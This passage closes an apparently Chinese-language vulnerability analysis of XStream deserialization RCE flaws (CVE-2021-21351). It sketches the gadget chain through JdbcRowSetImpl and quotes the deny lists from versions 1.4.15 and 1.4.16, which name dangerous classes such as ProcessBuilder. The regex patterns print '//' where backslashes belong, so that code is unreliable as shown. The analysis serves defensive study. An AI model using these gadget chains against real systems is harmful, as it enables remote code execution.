继续向下执行,最终会执行到IncrementalSAXSource_Xerces.parseSome方法,该方法会通过反射调用JdbcRowSetImpl.setAutoCommit方法。

Xstream反序列化远程代码执行漏洞深入分析

接下来的流程就还是JdbcRowSetImpl的老一套了,就不再深入说明了。至此CVE-2021-21351分析完毕

6. 总结

此次爆出的几个反序列化RCE漏洞,总结下漏洞的触发点分别为“java.util.PriorityQueue.compare()“、“javax.naming.ldap.Rdn$RdnEntry.compareTo()”、而Xstream的防护方法也是很直白是通过黑名单的形式来进行防护。

下面是1.4.15版本的黑名单

protected void setupSecurity() {
 if (securityMapper == null) {
     return;
}

 addPermission(AnyTypePermission.ANY);
 denyTypes(new String[]{
     "java.beans.EventHandler", //
     "java.lang.ProcessBuilder", //
     "javax.imageio.ImageIO$ContainsFilter", //
     "jdk.nashorn.internal.objects.NativeString" });
 denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO, JAXWS_FILE_STREAM});
 allowTypeHierarchy(Exception.class);
 securityInitialized = false;
}

然后是1.4.16版本的黑名单

private static final String ANNOTATION_MAPPER_TYPE = "com.thoughtworks.xstream.mapper.AnnotationMapper";
 private static final Pattern IGNORE_ALL = Pattern.compile(".*");
 private static final Pattern GETTER_SETTER_REFLECTION = Pattern.compile(".*//$GetterSetterReflection");
 private static final Pattern PRIVILEGED_GETTER = Pattern.compile(".*//$PrivilegedGetter");
 private static final Pattern LAZY_ITERATORS = Pattern.compile(".*//$LazyIterator");
 private static final Pattern JAXWS_ITERATORS = Pattern.compile(".*//$ServiceNameIterator");
 private static final Pattern JAVAFX_OBSERVABLE_LIST__ = Pattern.compile("javafx//.collections//.ObservableList//$.*");
 private static final Pattern JAVAX_CRYPTO = Pattern.compile("javax//.crypto//..*");
 private static final Pattern BCEL_CL = Pattern.compile(".*//.bcel//..*//.util//.ClassLoader");

......

protected void setupSecurity() {
 if (this.securityMapper != null) {
     this.addPermission(AnyTypePermission.ANY);
     this.denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue"});
     this.denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, GETTER_SETTER_REFLECTION, PRIVILEGED_GETTER, JAVAX_CRYPTO, JAXWS_ITERATORS, JAVAFX_OBSERVABLE_LIST__, BCEL_CL});
     this.denyTypeHierarchy(InputStream.class);
     this.denyTypeHierarchyDynamically("java.nio.channels.Channel");
     this.denyTypeHierarchyDynamically("javax.activation.DataSource");
     this.denyTypeHierarchyDynamically("javax.sql.rowset.BaseRowSet");
     this.allowTypeHierarchy(Exception.class);
     this.securityInitialized = false;
}
}

相关推荐: 2021HW参考 | 蓝队溯源与反制

本文简单写下红蓝对抗过程中蓝队的一些溯源与反制方法。一、蜜罐反制(1)商用型近年来越来越多的厂商选择部署商用蜜罐来诱导攻击者,衡量蜜罐好坏的关键因素为诱捕能力,即为诱惑捕捉能力。利用蜜罐可以做到:获取攻击者的P(真实IP,代理IP等)、ID、操作系统、设备信息…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: